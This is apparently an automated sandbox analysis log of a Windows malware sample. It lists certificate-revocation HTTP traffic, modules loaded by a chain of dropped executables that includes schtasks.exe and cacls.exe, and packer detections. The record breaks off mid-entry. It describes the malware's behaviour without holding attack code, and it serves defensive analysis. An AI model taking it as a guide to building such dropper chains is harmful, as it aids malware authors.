HTTP/1.1 304 Not Modified Date: Mon 24 Aug 2026 23:34:13 GMT Expires: Tue 25 Aug 2026 00:24:13 GMT Age: 678 Last-Modified: Wed 11 Feb 2026 14:38:00 GMT Cache-Control: public max-age=3000 Vary: Accept-Encoding with no response body "GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: */* If-Modified-Since: Mon, 24 Aug 2026 20:56:19 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog" Response ==> HTTP/1.1 304 Not Modified Date: Mon 24 Aug 2026 23:09:48 GMT Expires: Mon 24 Aug 2026 23:59:48 GMT Age: 2143 Last-Modified: Mon 24 Aug 2026 20:56:19 GMT Cache-Control: public max-age=3000 Vary: Accept-Encoding with no response body "GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: */* If-Modified-Since: Tue, 07 Jul 2026 08:38:00 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog" Response ==> HTTP/1.1 304 Not Modified Date: Mon 24 Aug 2026 23:04:51 GMT Expires: Mon 24 Aug 2026 23:54:51 GMT Age: 2440 Last-Modified: Tue 07 Jul 2026 08:38:00 GMT Cache-Control: public max-age=3000 Vary: Accept-Encoding with no response body "GET /wr2/GSyT1N4PBrg.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: */* If-Modified-Since: Mon, 24 Aug 2026 19:47:03 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog" Response ==> HTTP/1.1 304 Not Modified Date: Mon 24 Aug 2026 23:15:09 GMT Expires: Tue 25 Aug 2026 00:05:09 GMT Age: 1822 Last-Modified: Mon 24 Aug 2026 19:47:03 GMT Cache-Control: public max-age=3000 Vary: Accept-Encoding with no response body "GET /wr2/oBFYYahzgVI.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: */* If-Modified-Since: Mon, 24 Aug 2026 23:03:41 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog" Response ==> HTTP/1.1 304 Not Modified Date: Mon 24 Aug 2026 23:06:34 GMT Expires: Mon 24 Aug 2026 23:56:34 GMT Last-Modified: Mon 24 Aug 2026 23:03:41 GMT Cache-Control: public max-age=3000 Vary: Accept-Encoding Age: 2337 with no response body4a:T462d,"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 6bae0000 "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74be0000 "gF3mD54.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 6b220000 "gF3mD54.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74be0000 "oi9NR71.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 69b00000 "oi9NR71.exe" loaded module "KERNEL32.DLL" at base 76ba0000 "oi9NR71.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 764d0000 "oi9NR71.exe" loaded module "FECLIENT.DLL" at base 6deb0000 "oi9NR71.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 69b90000 "oi9NR71.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74be0000 "ZF2zr63.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 6bf20000 "ZF2zr63.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74be0000 "1Nd23RF4.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 69b00000 "1Nd23RF4.exe" loaded module "ADVAPI32.DLL" at base 764d0000 "1Nd23RF4.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70390000 "1Nd23RF4.exe" loaded module "KERNEL32" at base 76ba0000 "1Nd23RF4.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 6b470000 "1Nd23RF4.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 64060000 "1Nd23RF4.exe" loaded module "USER32.DLL" at base 76f90000 "1Nd23RF4.exe" loaded module "MSCOREE.DLL" at base 6b500000 "1Nd23RF4.exe" loaded module "SHLWAPI.DLL" at base 766e0000 "1Nd23RF4.exe" loaded module "PSAPI.DLL" at base 76f80000 "1Nd23RF4.exe" loaded module "RPCRT4.DLL" at base 75070000 "1Nd23RF4.exe" loaded module "KERNEL32.DLL" at base 76ba0000 "1Nd23RF4.exe" loaded module "%WINDIR%\SYSTEM32\MSCOREE.DLL" at base 6b500000 "1Nd23RF4.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 62c50000 "1Nd23RF4.exe" loaded module "OLE32.DLL" at base 767e0000 "1Nd23RF4.exe" loaded module "OLEAUT32.DLL" at base 76740000 "1Nd23RF4.exe" loaded module "CRYPTSP.DLL" at base 74740000 "1Nd23RF4.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 744d0000 "1Nd23RF4.exe" loaded module "CRYPTBASE.DLL" at base 74c30000 "1Nd23RF4.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 73a00000 "1Nd23RF4.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 69a70000 "1Nd23RF4.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 621f0000 "1Nd23RF4.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DRAWING\F7568D7F1B9D356F64779B4C0927CFB3\SYSTEM.DRAWING.NI.DLL" at base 64a40000 "1Nd23RF4.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.WINDOWS.FORMS\C9A4CBC00F690A9E3CDDFC400F6E85BB\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 61380000 "1Nd23RF4.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 6c990000 "1Nd23RF4.exe" loaded module "NTDLL.DLL" at base 76e30000 "1Nd23RF4.exe" loaded module "SHELL32.DLL" at base 75830000 "1Nd23RF4.exe" loaded module "VERSION.DLL" at base 741d0000 "1Nd23RF4.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\DIASYMREADER.DLL" at base 64d20000 "1Nd23RF4.exe" loaded module "DWMAPI.DLL" at base 739a0000 "1Nd23RF4.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 767e0000 "1Nd23RF4.exe" loaded module "CLBCATQ.DLL" at base 76650000 "1Nd23RF4.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 76580000 "1Nd23RF4.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 76940000 "1Nd23RF4.exe" loaded module "RPCRTREMOTE.DLL" at base 74cd0000 "3Cf23Ki.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74be0000 "4em853cx.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74be0000 "AppLaunch.exe" loaded module "MSCOREE.DLL" at base 71980000 "AppLaunch.exe" loaded module "PSAPI.DLL" at base 76f80000 "AppLaunch.exe" loaded module "RPCRT4.DLL" at base 75070000 "AppLaunch.exe" loaded module "KERNEL32.DLL" at base 76ba0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 63400000 "AppLaunch.exe" loaded module "OLE32.DLL" at base 767e0000 "AppLaunch.exe" loaded module "CRYPTBASE.DLL" at base 74c30000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73ba0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 72a70000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 69c60000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 68500000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DRAWING\F7568D7F1B9D356F64779B4C0927CFB3\SYSTEM.DRAWING.NI.DLL" at base 68350000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.WINDOWS.FORMS\C9A4CBC00F690A9E3CDDFC400F6E85BB\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 62590000 "AppLaunch.exe" loaded module "ADVAPI32.DLL" at base 764d0000 "AppLaunch.exe" loaded module "UXTHEME.DLL" at base 73ba0000 "AppLaunch.exe" loaded module "USER32.DLL" at base 76f90000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 61d70000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 68240000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 615f0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 71940000 "AppLaunch.exe" loaded module "NTDLL.DLL" at base 76e30000 "AppLaunch.exe" loaded module "SHELL32.DLL" at base 75830000 "AppLaunch.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 76940000 "AppLaunch.exe" loaded module "PROFAPI.DLL" at base 74d40000 "AppLaunch.exe" loaded module "BCRYPT.DLL" at base 74850000 "AppLaunch.exe" loaded module "CRYPTSP.DLL" at base 74740000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 744d0000 "AppLaunch.exe" loaded module "IMM32.DLL" at base 77060000 "AppLaunch.exe" loaded module "COMCTL32.DLL" at base 71590000 "AppLaunch.exe" loaded module "GDI32.DLL" at base 75710000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\WINDOWSBASE\1A4CC316FB6D09525321FC0BE44692D8\WINDOWSBASE.NI.DLL" at base 611d0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\PRESENTATIONCORE\468F4E17BE144CA12A73A4297EACC9CC\PRESENTATIONCORE.NI.DLL" at base 60590000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\PRESENTATIO5AE0F00F#\252CC7B0FAE8CFE083BDC149957C0C54\PRESENTATIONFRAMEWORK.NI.DLL" at base 5f1a0000 "AppLaunch.exe" loaded module "UCRTBASE_CLR0400.DLL" at base 69cf0000 "AppLaunch.exe" loaded module "SHLWAPI.DLL" at base 766e0000 "AppLaunch.exe" loaded module "DWRITE.DLL" at base 68100000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 74fd0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\WPF\WPFGFX_V0400.DLL" at base 64a60000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\WPF\PRESENTATIONNATIVE_V0400.DLL" at base 64d40000 "AppLaunch.exe" loaded module "VERSION.DLL" at base 741d0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.RUNTEB92AA12#\274E43040C8A7A02EF1065DB3283005A\SYSTEM.RUNTIME.SERIALIZATION.NI.DLL" at base 5eec0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.IDENTITYMODEL\C2EF5BC545B98A289F02D0B3EDDBE280\SYSTEM.IDENTITYMODEL.NI.DLL" at base 5ebb0000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SMDIAGNOSTICS\DC67DCB4B2FB4A3853D458CAB08561F0\SMDIAGNOSTICS.NI.DLL" at base 71910000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.TRANSACTIONS\3D760B4A3260A41EF84A3FD866780980\SYSTEM.TRANSACTIONS.NI.DLL" at base 67d50000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 70850000 "AppLaunch.exe" loaded module "WS2_32.DLL" at base 75120000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74700000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 74260000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 746f0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\DIASYMREADER.DLL" at base 5c920000 "5nB9ui9.exe" loaded module "KERNEL32.DLL" at base 76ba0000 "5nB9ui9.exe" loaded module "OLE32.DLL" at base 767e0000 "5nB9ui9.exe" loaded module "CRYPTBASE.DLL" at base 74c30000 "5nB9ui9.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73ba0000 "5nB9ui9.exe" loaded module "ADVAPI32.DLL" at base 764d0000 "5nB9ui9.exe" loaded module "PROPSYS.DLL" at base 73a50000 "5nB9ui9.exe" loaded module "COMCTL32.DLL" at base 73c00000 "5nB9ui9.exe" loaded module "OLEAUT32.DLL" at base 76740000 "5nB9ui9.exe" loaded module "SHELL32.DLL" at base 75830000 "5nB9ui9.exe" loaded module "CLBCATQ.DLL" at base 76650000 "5nB9ui9.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73a50000 "5nB9ui9.exe" loaded module "NTMARTA.DLL" at base 741a0000 "5nB9ui9.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 76940000 "5nB9ui9.exe" loaded module "PROFAPI.DLL" at base 74d40000 "5nB9ui9.exe" loaded module "APPHELP.DLL" at base 74be0000 "5nB9ui9.exe" loaded module "%WINDIR%\SYSTEM32\SHDOCVW.DLL" at base 6f7b0000 "5nB9ui9.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 75830000 "5nB9ui9.exe" loaded module "SETUPAPI.DLL" at base 76960000 "5nB9ui9.exe" loaded module "RPCRT4.DLL" at base 75070000 "5nB9ui9.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 76ce0000 "5nB9ui9.exe" loaded module "SECUR32.DLL" at base 74a70000 "5nB9ui9.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base 74e50000 "5nB9ui9.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 71220000 "5nB9ui9.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74be0000 "explothe.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 69b00000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73ba0000 "explothe.exe" loaded module "OLE32.DLL" at base 767e0000 "explothe.exe" loaded module "ADVAPI32.DLL" at base 764d0000 "explothe.exe" loaded module "PROPSYS.DLL" at base 73a50000 "explothe.exe" loaded module "COMCTL32.DLL" at base 73c00000 "explothe.exe" loaded module "OLEAUT32.DLL" at base 76740000 "explothe.exe" loaded module "APPHELP.DLL" at base 74be0000 "explothe.exe" loaded module "CLBCATQ.DLL" at base 76650000 "explothe.exe" loaded module "KERNEL32.DLL" at base 76ba0000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\IEFRAME.DLL" at base 6a060000 "explothe.exe" loaded module "SETUPAPI.DLL" at base 76960000 "explothe.exe" loaded module "RPCRT4.DLL" at base 75070000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73a50000 "explothe.exe" loaded module "NTMARTA.DLL" at base 741a0000 "explothe.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 76940000 "explothe.exe" loaded module "PROFAPI.DLL" at base 74d40000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 76ce0000 "explothe.exe" loaded module "SECUR32.DLL" at base 74a70000 "explothe.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base 74e50000 "explothe.exe" loaded module "SHELL32.DLL" at base 75830000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74be0000 "explothe.exe" loaded module "SSPICLI.DLL" at base 74bc0000 "explothe.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 76940000 "explothe.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 71220000 "explothe.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 74d70000 "explothe.exe" loaded module "WS2_32.DLL" at base 75120000 "explothe.exe" loaded module "WINHTTP.DLL" at base 70680000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74700000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 746f0000 "explothe.exe" loaded module "IPHLPAPI.DLL" at base 73090000 "explothe.exe" loaded module "URLMON.DLL" at base 76ce0000 "explothe.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 71db0000 "explothe.exe" loaded module "DNSAPI.DLL" at base 745c0000 "explothe.exe" loaded module "DHCPCSVC6.DLL" at base 72f40000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\NETPROFM.DLL" at base 6c850000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 74260000 "explothe.exe" loaded module "DHCPCSVC.DLL" at base 72ec0000 "explothe.exe" loaded module "RASADHLP.DLL" at base 714c0000 "explothe.exe" loaded module "CRYPTSP.DLL" at base 74740000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 744d0000 "explothe.exe" loaded module "CRYPTBASE.DLL" at base 74c30000 "explothe.exe" loaded module "RPCRTREMOTE.DLL" at base 74cd0000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\NPMPROXY.DLL" at base 6c900000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 72fc0000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base 76740000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 75120000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\WININET.DLL" at base 753e0000 "6BL1kL7.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73ba0000 "6BL1kL7.exe" loaded module "KERNEL32.DLL" at base 76ba0000 "6BL1kL7.exe" loaded module "SHELL32.DLL" at base 75830000 "6BL1kL7.exe" loaded module "OLE32.DLL" at base 767e0000 "6BL1kL7.exe" loaded module "ADVAPI32.DLL" at base 764d0000 "6BL1kL7.exe" loaded module "PROPSYS.DLL" at base 73a50000 "6BL1kL7.exe" loaded module "COMCTL32.DLL" at base 73c00000 "6BL1kL7.exe" loaded module "OLEAUT32.DLL" at base 76740000 "6BL1kL7.exe" loaded module "CLBCATQ.DLL" at base 76650000 "6BL1kL7.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73a50000 "6BL1kL7.exe" loaded module "NTMARTA.DLL" at base 741a0000 "6BL1kL7.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 76940000 "6BL1kL7.exe" loaded module "PROFAPI.DLL" at base 74d40000 "6BL1kL7.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 76ce0000 "6BL1kL7.exe" loaded module "SECUR32.DLL" at base 74a70000 "6BL1kL7.exe" loaded module "RPCRT4.DLL" at base 75070000 "6BL1kL7.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base 74e50000 "6BL1kL7.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74be0000 "6BL1kL7.exe" loaded module "SETUPAPI.DLL" at base 76960000 "cmd.exe" loaded module "SHELL32.DLL" at base 75830000 "cmd.exe" loaded module "COMCTL32.DLL" at base 73c00000 "cmd.exe" loaded module "OLE32.DLL" at base 767e0000 "cmd.exe" loaded module "CRYPTBASE.DLL" at base 74c30000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73ba0000 "cmd.exe" loaded module "ADVAPI32.DLL" at base 764d0000 "cmd.exe" loaded module "PROPSYS.DLL" at base 73a50000 "cmd.exe" loaded module "KERNEL32.DLL" at base 76ba0000 "cmd.exe" loaded module "OLEAUT32.DLL" at base 76740000 "cmd.exe" loaded module "APPHELP.DLL" at base 74be0000 "cmd.exe" loaded module "CLBCATQ.DLL" at base 76650000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IEFRAME.DLL" at base 6a060000 "cmd.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 74d70000 "cmd.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL" at base 74e90000 "cmd.exe" loaded module "URLMON.DLL" at base 76ce0000 "cmd.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 71db0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73a50000 "cmd.exe" loaded module "%PROGRAMFILES%\INTERNET EXPLORER\IEPROXY.DLL" at base 708f0000 "cmd.exe" loaded module "IERTUTIL.DLL" at base 751a0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 75830000 "cmd.exe" loaded module "USER32.DLL" at base 76f90000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 76ba0000 "cmd.exe" loaded module "SETUPAPI.DLL" at base 76960000 "cmd.exe" loaded module "RPCRT4.DLL" at base 75070000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74be0000 "schtasks.exe" loaded module "CRYPTBASE.DLL" at base 74c30000 "schtasks.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73ba0000 "schtasks.exe" loaded module "RPCRT4.DLL" at base 75070000 "schtasks.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 76940000 "schtasks.exe" loaded module "ADVAPI32.DLL" at base 764d0000 "schtasks.exe" loaded module "CLBCATQ.DLL" at base 76650000 "schtasks.exe" loaded module "%WINDIR%\SYSTEM32\TASKSCHD.DLL" at base 73350000 "schtasks.exe" loaded module "SSPICLI.DLL" at base 74bc0000 "schtasks.exe" loaded module "XMLLITE.DLL" at base 73560000 "cacls.exe" loaded module "KERNEL32.DLL" at base 76ba0000 "cacls.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 76940000 "cacls.exe" loaded module "RPCRT4.DLL" at base 75070000 "cacls.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 69b000004b:T4b7,"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75070000 "gF3mD54.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75070000 "oi9NR71.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75070000 "ZF2zr63.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75070000 "Cb7yP98.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75070000 "1Nd23RF4.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75070000 "2pQ5650.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75070000 "3Cf23Ki.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75070000 "AppLaunch.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75070000 "4em853cx.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75070000 "5nB9ui9.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75070000 "explothe.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75070000 "6BL1kL7.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75070000 "cmd.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75070000 "schtasks.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 75070000 "cacls.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 750700004c:T1123,"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9" was detected as "Microsoft Cabinet" and name: "sfx" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9" was detected as "Microsoft Visual C/C++" and name: "Compiler" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9" was detected as "Microsoft Cabinet File" and name: "Archive" "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9" was detected as "Microsoft Linker" and name: "Linker" "gF3mD54.exe" was detected as "Microsoft Cabinet" and name: "sfx" "gF3mD54.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "gF3mD54.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "gF3mD54.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "gF3mD54.exe" was detected as "Microsoft Linker" and name: "Linker" "4em853cx.exe" was detected as "Microsoft Cabinet" and name: "sfx" "4em853cx.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "4em853cx.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "4em853cx.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "4em853cx.exe" was detected as "Microsoft Linker" and name: "Linker" "oi9NR71.exe" was detected as "Microsoft Cabinet" and name: "sfx" "oi9NR71.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "oi9NR71.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "oi9NR71.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "oi9NR71.exe" was detected as "Microsoft Linker" and name: "Linker" "3Cf23Ki.exe" was detected as "Microsoft Cabinet" and name: "sfx" "3Cf23Ki.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "3Cf23Ki.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "3Cf23Ki.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "3Cf23Ki.exe" was detected as "Microsoft Linker" and name: "Linker" "ZF2zr63.exe" was detected as "Microsoft Cabinet" and name: "sfx" "ZF2zr63.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "ZF2zr63.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "ZF2zr63.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "ZF2zr63.exe" was detected as "Microsoft Linker" and name: "Linker" "Cb7yP98.exe" was detected as "Microsoft Cabinet" and name: "sfx" "Cb7yP98.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "Cb7yP98.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "Cb7yP98.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "Cb7yP98.exe" was detected as "Microsoft Linker" and name: "Linker" "5nB9ui9.exe" was detected as "Microsoft Cabinet" and name: "sfx" "5nB9ui9.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "5nB9ui9.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "5nB9ui9.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "5nB9ui9.exe" was detected as "Microsoft Linker" and name: "Linker" "1Nd23RF4.exe" was detected as "Microsoft Cabinet" and name: "sfx" "1Nd23RF4.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "1Nd23RF4.exe" was detected as "Microsoft Visual C/C++" and name: 